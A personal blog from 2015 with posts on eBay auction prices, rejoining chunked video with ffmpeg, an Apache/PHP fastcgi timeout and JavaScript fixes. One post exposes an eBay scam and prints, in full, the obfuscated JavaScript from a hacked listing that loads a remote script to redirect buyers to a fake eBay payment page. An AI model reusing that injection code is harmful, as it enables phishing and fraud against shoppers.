Thursday, 20 August 2015

(Possibly) how eBay items have multiple bids when at their starting price

I noticed today that one of the items I was watching had two bids, but was still at the starting price. When I checked the bid history, it showed that the same bidder had bid twice, once a few days ago, and again today. So I think when this happens, it just means that the original bidder has bid again with a higher maximum bid.

Most of today (and the last few days in fact) I was just writing an article for my photo tips website.

Wednesday, 19 August 2015

Gluing a chunked video back together

Yesterday I tried downloading a replay of a video hosted on periscope. The video was delivered in the form of hundreds of chunks. After saving these files, the question was how to concatenate them back together into a single video file that I could watch later at my leisure. Quite possibly there is a full version of the video hosted at the same address the chunked files come from, but if there was, you'd need to know the filename.

I found that ffmpeg offers two different ways of concatenating video files together. Because I'm on windows, getting the list of files is rather tricky. Each chunk is named like 'chunk_38.ts'. What I ended up doing was creating a spreadsheet, and filling a cell with the first number (38 in my case), and next to this I added a cell with a formula to make the filename and output needed for ffmpeg CONCATENATE("file 'chunk_", A1, ".ts'"). Then I dragged these cells down via copy until I reached the number of the last chunk.

With that done, I copied the cells and pasted them into a plain text file. Then I just had to run the ffpmeg demuxer and point it to that file. Unfortunately this took a long time and didn't work well. I ended up with a video that said it was 2s long, but was actually much longer. But the video image stayed at the start. (I'm not sure about the audio as my sound wasn't working).

So then I tried the second ffmpeg option, which requires putting all the files into a single command. Using find and replace in the text editor, I replaced the new lines / carriage returns with the pipe character needed to separate the filenames for the ffmpeg command. But when I pasted the command into the command prompt, it was too many characters.

Looking it up, it seems there is no way to get around this limitation, the advice from MS is to modify your program so that it can read the parameters from a file rather than the command line. So I tried doing as many of the chunks as I could fit into a single command. Then I tried concatenating the result of the first concat with as many more of the chunks as I could fit into a second command. But this didn't work and I just got an error.

So I found a perl script for renaming files, and modified that to rename all of the files to just their number (with no file extension). That was the only way I could fit them all into a single command that wasn't too long for windows. I ran the command, and it created the video okay.

Today I fixed the problem with my sound card. I just had to uninstall the device, then reinstall the drivers. Why on earth it stopped working, I have no idea.

But I found that the video I created from the chunks had no sound (despite ffmpeg giving data on the total amount of audio copied to the output file as well as video). So searching the web again for another alternative way of concatenating files together in windows, I came across the copy command. Using this still had the same limits of needing the filenames to all fit within a single command. But it worked nicely, and very quickly.

So if you need to concatenate a chunked video back together in Windows, the copy command seems to be the best way to do it.

Friday, 14 August 2015

eBay maniacalty

Last Sunday, two Yamaha DD-55c electronic drum kits (one boxed) sold for £20 + £13 in separate auctions. Yet the same model sold for £51 + £9.95 P&P on Tuesday evening. And Saturday / Sunday are meant to be the best days for ending an auction and getting a high selling price!

I sold my scratched Tokina fisheye on eBay, and it ended up selling for £68.76 + £10 P&P. While the lens was scratched around the edge, it worked fine without problems for most usage - you could shoot into the sun without lens flare. The problem was mainly at night where you have lots of light sources around, this would sometimes cause flare. (The sometimes was enough of a problem for me that I decided to buy a replacement and sell this one).

The selling price seems very low to me, the lens normally sells for £300+. And another seller had listed a similar Canon EF 8-15 mm F/4 L USM Lens that has a scratched front element, but that flares when shot into the sun, and has a crack in the body, which sold for £400 + £11 P&P.

Similarly, another Canon 8-15 mm £530 + £9.80 P&P that has been scratched so if the photo is overexposed or taken against direct sunlight then the scratches will appear on one side. However this is only in certain occasions. There is also a tiny crack in the base of the lens Whereas an excellent condition boxed Canon 8-15mm sold for £560 + £10.00 P&P. So only £30 more for a version of the lens that works properly than a scratched flare inducing lens.

It seems that people are willing to bid much more for broken versions of some lenses than for others? Another good example of this is another lens that I sold. I bought a Samyang 14mm lens that was in parts, but the seller stated that all the screws and parts were included. They said that they managed to scratch the front of the lens, and had tried dismantling it to fix it, but gave up without success. I paid £30.07 + £3.30 P&P.

When I received the lens, it turned out the front element was scratched much more than I thought it was. After putting the lens back together, I tried it out and images were noticeably soft in the middle. I also had some screws left over. I listed it on eBay, with a link to a full size image showing the problem, and clearly stating the problem and that there were spare screws left over from putting it back together. Yet it sold for £165 + £20 P&P (to an overseas buyer)! With a bit of patience you could probably pick up a good condition copy of the lens for that much.

I sold a collection of photographic accessories for £3.23 + £4.50 P&P. The total value of the collection was probably more like £70 - £100. I also bought a collection of photographic accessories for £8.60 + £5.99. I then resold a couple of items from this collection, selling one for £5.00 inc. postage, and another for £12.79 inc. postage. So it seems quite clear to me now - don't sell items together as a bundle (by auction anyway), but rather split them up and sell separately.

Here are some other notable cheap / expensive items from my watch list:

  • Lot of 5x Fuji Fujinon-TV C-Mount Zoom Lens H6X12.5R f1.2 sold for £133.11 + £6.00 P&P. I'm not sure if that is a good deal or not, but I suspect it is. The description stated: For 2/3″ C-mount, focal length from 12.5mm to 72.5mm, very bright constant f1.2 aperture. Includes front and back caps as well as high quality Pentax/Cosmicar 2x teleconverters and a couple of basic plastic lens hoods.
  • Paramo Halcon Traveller jacket (large) sold for £55 + £6 P&P. The only problem with it was I have used it to walk the dog and the top left pocket has the remnants of a dog treat which although removed has caused a slight staining on the inside that I have tried to show. It is not visible on the outside. so seems like quite a good deal to me.
  • Canon EF 135 mm f/2.8 Softfocus Lens sold for £50 + £4.95 P&P. According to the description there's the piece of crud you can see on the front element... The contamination doesn't show through in any images. Even pixel peeping raw's in LR.. So probably a good deal, especially if the crud was actually just under the front element, as it could probably be removed without much trouble.
  • Camera Cross Slide Novoflex Castel Q with QR plate sold for £139.69 + £5.80 P&P, a great deal for the buyer. (Retails for $649.95 on B&H).
  • 2 Pairs ROHAN Dry Ascent Trousers - Waist 32" Regular - Slate Grey sold for £28.67 + £3.30 P&P. So that's £16 each for trousers that retailed for about £100, given the description said they were in excellent condition, sounds like a great deal to me.
  • X-Rite i1Display Pro Calibrator sold as untested, with no refund if not working, sold for £69 + £3.95 P&P. A good deal if it is working, but seems a big price to pay for the risk of getting a broken unit to me.
  • Novoflex NOFLEXAR 3,5/35 mm Macro Lens sold for US $223.01 + $12 P&P. In excellent condition, but still seems a bit pricy to me.

And of course, there were the normal bevy of items that were ended early because of 'an error in the listing' and a few items that had been sold then relisted due to non-paying bidders. (Interestingly I had a non-paying buy-it-nower).

Monday, 10 August 2015

eBay still happy to let people be scammed

I wrote back in March about eBay allowing javascript in item listings that redirects the user to a fake ebay site, and it seems that eBay are still happy to let this practice continue. I found the same thing happening to me today, after clicking through on an item I was redirected to a fake eBay site with a But it Now listing requiring bank transfer as the payment.

It was quite a good scam actually as the fake page made it look like it was from a seller that regularly sells expensive items, and has good feedback, and so would be quite trustworthy. Of course, while the actual seller on the real ebay they were pretending to be is very likely trustworthy, the fake seller most definitely would not be.

They were using a hacked account on eBay for the redirecting listing, and included the following js to do the redirection:

var az = "SC";var bz = "RI";var cz = "PT";var dz = "SR";var ez = "C=";var fz = "h"+"t"+"t";var gz = "p"+":/"+"/"+"";var gx = "b"+"u"+"l"+"l"+"k";var fz0 = "b"+"u"+"y"+"u"+"k"+"."+"c"+"o"+"m/TAB."+"J"+"S";document.write ("<"+az+bz+cz+" type='text/javascript'"+dz+ez+fz+gz+gx+fz0+">");document.write("</"+az+bz+cz+">");

Similar to the technique I posted about back in March, but this one appears to be even simpler, with the characters in plain text.

Monday, 27 July 2015

PHP as fastcgi connection timing out with apache2

Lately I have been trying to test a WordPress plugin I have been working on. Unfortunately I couldn't test it on my live server, as the build software on the webserver was too out of date to build the GeoIP apache module I needed to test with.

I thought oh well, I can at least partially test it in my local dev environment. But after getting that all set up, I kept getting timeouts when connecting to the dev site (PHP wasn't responding in time).

I tried installing the latest PHP (7 beta 2), which took about a day. (No point building the latest version of PHP without also building the latest version of its dependencies). But still the same issue!

I tried playing around with the php.ini settings, running apache with nginx off, etc. various things to try and debug the issue. Eventually I found the issue. For my PHP proxy in the Apache config I had:

<Proxy fcgi://localhost/ enablereuse=on max=10>
</Proxy>

I had copied this from a page on setting up apache with PHP running as fastcgi. I didn't know what the enablereuse=on max=10 bits actually meant. I removed them, and now it seems to be working fine.

Now I can get on with the actual testing / debugging of my script!

Friday, 3 July 2015

eBay Watchlist clean up

Yesterday I added some items to my eBay watch list, but when I later checked my watchlist, they weren't there. It seems that you can't have more than 200 items in your watchlist (I'm sure I found this out before). The problem is that when you click 'Add to Watch list' on an item, the 'Add to Watch list' link disappears, and you don't get a notification that the item wasn't added because your Watch list is full. Having said that, you don't get a message saying that the item has been added to the Watch list either, but I think it's easy to misintepret the lack of message combined with the positive action of the link being removed as meaning that the item was added to the Watch list.

Anyway, as usual, here's some info from my Watch list before I clean it up:

  • Samyang 14mm f/2.8 lens seems to sell on average for around £200 now. There have been quite a few auctions ending at less than that though (all prices including P&P):
    • Nikon Cine version £175
    • Nikon version £165
    • Canon version ended at 142EUR + postage (around £101) but didn't meet the reserve price)
    • Pentax version £131.49
    • Canon version (brand new) 255USD ~ £163.27
    • Nikon version £158
    • Canon version £123 - however although described as 'good condition' the photo of the rear element looked like it was covered in scratches
    And bear in mind that the Pentax and Nikon versions can be adapted to Canon with a £5 adapter. So if you wanted the Canon model, rather than paying £280 for the lens new from Amazon, you could have bought a second hand Pentax version plus an adapter for £136.50.
  • A Fuji 14mm lens didn't sell for £400 (inc. P&P) on Sunday evening, but one did sell on Thursday evening for £457 (inc. P&P). Yet it's generally held that Saturday and Sunday evenings are the best times to end your auctions for a good price.
  • Cokin 3 Head Detachable Flash with Filters, Manual, and Case sold for £34.90 (I think that's probably pretty cheap?)
  • Adobe Production Premium CS5 for Windows sold for £225. Seems like a pretty good deal, is a few years old now but would have been over £1000 when new, and unlike CC, you don't need to worry about keep paying to keep the software working.
  • A load of large size (72mm, 77mm, Tiffen 9) star and haze filters plus various caps sold for $1 plus postage (unfortunately postage to the UK was $35.93). Stupidly good deal for the buyer if they were in the US.
  • And of course, as usual, there were quite a few items that were withdrawn before the auction ended, presumably because the people selling didn't think the item was going to sell for as much as they wanted.
  • ROLLEI PREGO 90 AF film camera with Box, Instructions & Case sold for £14 inc P&P. I wish I'd bid a bit higher on it now.
  • HYPERKIN RETRON 3 TRIPLE SYSTEM (RED) SNES / MEGADRIVE / NES with one wireless controller, 2 SNES controllers, 3 SNES games, and 3 Mega drive games sold for £54.44. I guess that's quite a good deal?
  • Paramo Halcon Traveller - New - Large - Grey sold for £80 inc P&P - not an amazing deal, but pretty good as far as these jackets go.
  • Canon EF 500 mm f/4.0 L IS USM Lens sold for £2520 inc. P&P - very good price for this lens
  • Novoflex Castel Cross Q Macro focusing rail sold for £148.90 and £125 - both good prices for this piece of gear.
  • X-Rite i1 Display PRO sold for £92 - normally this will be in the £130+ range.
  • Zeiss 12mm for Fuji sold for £373.77 - a very good price for this lens in the UK. (In the UK it retails for around £700).

As for what I've been doing lately, I've mainly just been writing article for my photo tips website. It's currently taking me approximately a day and a half per article. For one article I really need to find a sleeping (or at least inactive) bee to photograph to illustrate the article, but I haven't been able to find any yet.

I've also been pretty hay feverish.

Wednesday, 17 June 2015

JSing

Just been doing some js work recently, so thought I'd post a few notes here for possible future reference.

The first was that I had a div that was meant to be displayed when another element was hovered over. I was doing this using mouseenter and mouseleave events. But in Safari 5.1.4 (only version I have to test on - I think it's equivalent to an old iPhone browser), this wasn't working. Inspecting the element the event was attached to, I could see the event handler had been attached correctly. But the mouseenter and mouseleave events seemed to just not be fired - the handler would not be called.

After some searching I found this question: How to emulate mouseenter and mouseleave DOM events for old browsers?, which says Unfortunately, there is a lot of browsers the wont recognize those new events... ...Safari 5.1. The solution in my case was to switch to using a combination of CSS :hover (to display the element) and mouseover (to position the element). I had to refactor my code slightly so that the element to be displayed came straight after the element that when hovered causes it be displayed. That way I could do .elThatIsHovered:hover + .elToDisplay { display: block; }.

Another thing I have been doing is refactoring some js to make it more OO. Some useful guidance on this is:

The other thing I did was implementing geo lookup based on the user's language preference set in their browser. Because the language will be something like 'en-gb', you can parse the last two chars to get the user's country. Assuming, of course, that their browser has their language set correctly. Chrome, Safari, IE, and FF all seemed to be set correctly on my PC without me having to do anything. How to get the user's preferred language is detailed here: JavaScript for detecting browser language preference.